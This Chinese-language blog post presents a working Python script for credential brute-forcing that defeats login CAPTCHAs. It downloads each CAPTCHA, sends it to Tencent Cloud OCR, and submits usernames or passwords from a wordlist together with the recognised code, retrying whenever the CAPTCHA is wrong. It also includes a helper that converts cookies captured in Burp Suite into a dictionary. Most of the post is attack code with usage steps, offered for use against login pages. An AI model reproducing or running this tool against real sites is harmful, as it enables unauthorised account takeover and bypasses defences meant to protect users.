Python利用腾讯OCR识别验证码进行爆破


前言

现在基本上是个站就有验证码系统来防止爆破攻击(或者防爬虫?)。而当验证码没法重放和绕过的时候,想要使用burpsuite的intrude模块来爆破就不太现实。这时想到可以通过图片识别验证码来进行爆破啊。
于是写了个利用tesserocr识别验证码爆破的脚本。
结果tesserocr识别库识别率太可惜了(暂时不会训练,老菜逼了)。因此选择现成的ocr来识别验证码。最终选定的是腾讯的orc。ps:识别率可以,就是免费次数有点少。
PS:测试用,没写线程,爆破速度一般。!!腾讯ocr免费只有1000次!!


一、爆破脚本

代码如下(示例):

import base64
import re
import requests
from tencentcloud.common import credential
from tencentcloud.common.profile.client_profile import ClientProfile
from tencentcloud.common.profile.http_profile import HttpProfile
from tencentcloud.common.exception.tencent_cloud_sdk_exception import TencentCloudSDKException 
from tencentcloud.ocr.v20181119 import ocr_client, models 

def GetImg(URL,cookie_dict):#请求获取验证码
    headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}
    img=requests.get(url=URL,headers=headers,cookies=cookie_dict)
    base64_data= base64.encodebytes(img.content)
    base64_data= 'data:image/png;base64,%s' % base64_data.decode()
    patten=re.compile('\s')
    return patten.sub('',base64_data)
    
    
def API(img_base64):#调用腾讯ORC API 获取识别结果
    try: 
        
        cred = credential.Credential("AKIxxxxxxxxxxxWJsCxF2b", "azDnvxxxxxxv73jbNQG") 
        #自己改API认证
        httpProfile = HttpProfile()
        httpProfile.endpoint = "ocr.tencentcloudapi.com"

        clientProfile = ClientProfile()
        clientProfile.httpProfile = httpProfile
        client = ocr_client.OcrClient(cred, "ap-beijing", clientProfile) 

        req = models.GeneralBasicOCRRequest()
        params = '{\"ImageBase64\":\"{'+img_base64+'}\"}'
        req.from_json_string(params)

        resp = client.GeneralBasicOCR(req) 
        return resp.to_json_string()

    except TencentCloudSDKException as err: 
        pass
        
def reCode(response):#正则匹配api中返回的code
    patten=re.compile('DetectedText\": \S{3,}\"')
    response=patten.search(response).group()
    return response[16:-1]


def TrueCode(URL,cookie_dict):#获取能识别的验证码
    img_base64=GetImg(URL,cookie_dict)
    response=API(img_base64)
    try:
        result=reCode(response)
        return result
    except:#若没找到验证码则输出false
        return 'false'

def Login(URL,success_str,code_error,data_para,cookie_dict):#使用识别到的code(不一定正确)去尝试登录(因为可能图片无法识别等)
    headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}
    
    r=requests.post(url=URL,headers=headers,data=data_para,cookies=cookie_dict)#请求方式可能要改
    print(r.text)
    if success_str in r.text:#成功登录
        return 'success'
    elif code_error in r.text:#验证码错误
        return 'code_error'
    else:#账号或者密码错误
        return 0

def intrude(login_url,success_str,code_error,target,cookie_dict):#最后一层了,不套了不套了
    code=TrueCode(code_url,cookie_dict)
    while(code=='false'):
        code=TrueCode(code_url,cookie_dict)
        
        
    data_para={
        "uname":target,#用户名或者密码
        "password":"b59c67bf196a4758191e42f76670ceba",
        "vcode":code,#code的键
        "login":"1"
    }#提交参数

    status=Login(login_url,success_str,code_error,data_para,cookie_dict)
    if(status=="success"):
        print(target)
        return 'login_success'
    elif(status=='code_error'):
        return 'code_error'
    
    
    
    
    
if __name__ == '__main__':
    #只能操作一些简单的验证码,同时要求验证码错误和账号密码错误回显不同才行
    #需要修改以下有注释的参数
    #同时还有intrude函数里面的data_para参数,有时还需要自己改http头
    #还有Login函数里面的请求方式也要根据具体情况改
    #把腾讯ocr的API改成自己的,上腾讯云自己申请,一天1000次免费,超过收钱!!注意了!!
    #使用前需要安装腾讯SDK组件 pip install tencentcloud-sdk-python -i https://mirrors.tencent.com/pypi/simple/ --upgrade tencentcloud-sdk-python
    
    
    code_url=r'http://xxx/xxx'#获取验证码的url
    login_url=r'http://td.xxxx.cn/user/login'#登录URL
    success_str='1113'#登录成功标志字符,其实就是看响应体,比如这里用户名存在则响应体中有1113字符
    code_error='7777'#验证码错误的标志,其实就是看响应体,比如这里验证码错误响应体有7777字符
    cookie_dict={'UM_distinctid':'17486b76731166-05fxxxxf754-xxxxf-1fa400-17486b76732533','PHPSESSID':'mklsgxxxxf2uf689fao55'}#附带的生成脚本,在bp中抓包,复制cookie的值到cookie.txt中,运行cookie_dict_genrel.py
    fp=open('target.txt','r')#字典路径
    for i in range(0,5):#爆破次数
    
        target=fp.readline()
        patten=re.compile('\s')
        target=patten.sub('',target)
        result=intrude(login_url,success_str,code_error,target,cookie_dict)
        if(result=="login_success"):
            exit()
        while(result=="code_error"):#此处不用改,当验证码出错时,不换密码重新操作一次
            result=intrude(login_url,success_str,code_error,target,cookie_dict)
        
    
    
    
    

二、使用步骤

1.安装模块

pip install requests
pip install tencentcloud-sdk-python -i https://mirrors.tencent.com/pypi/simple/ --upgrade tencentcloud-sdk-python #安装腾讯SDK

2.具体使用

1.具体使用流程见上面脚本代码注释部分
2.这里贴上生成cookie的脚本,只需从burpsuite上复制cookie,在下面的脚本同目录下新建一个cookie.txt然后粘贴进去,运行即可获得字典格式的cookie,然后复制到爆破脚本的cookie参数里
3.运行起飞

cookie_dict_general.py

import re
fp = open("cookie.txt", "r")
cookie_list = fp.readlines()
for cookie in cookie_list:
    cookie = re.compile('\s').sub('', cookie)

    # 将字符串的cookie处理成字典
    patten = re.compile(";")
    cookie = patten.split(cookie)

    cookie_dict = {}
    for i in range(len(cookie)):
        cookie_dict[cookie[i].split('=')[0]] = cookie[i].split('=')[1]
    print(cookie_dict)


总结

因为只有1000次免费的机会,使用的时候注意点,免得把钱扣光。毕竟老菜逼了,不会训练tesserocr的识别库只能用用腾讯的ocr才能混日子(别骂了别骂了)。等以后有空再学习怎么训练吧。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值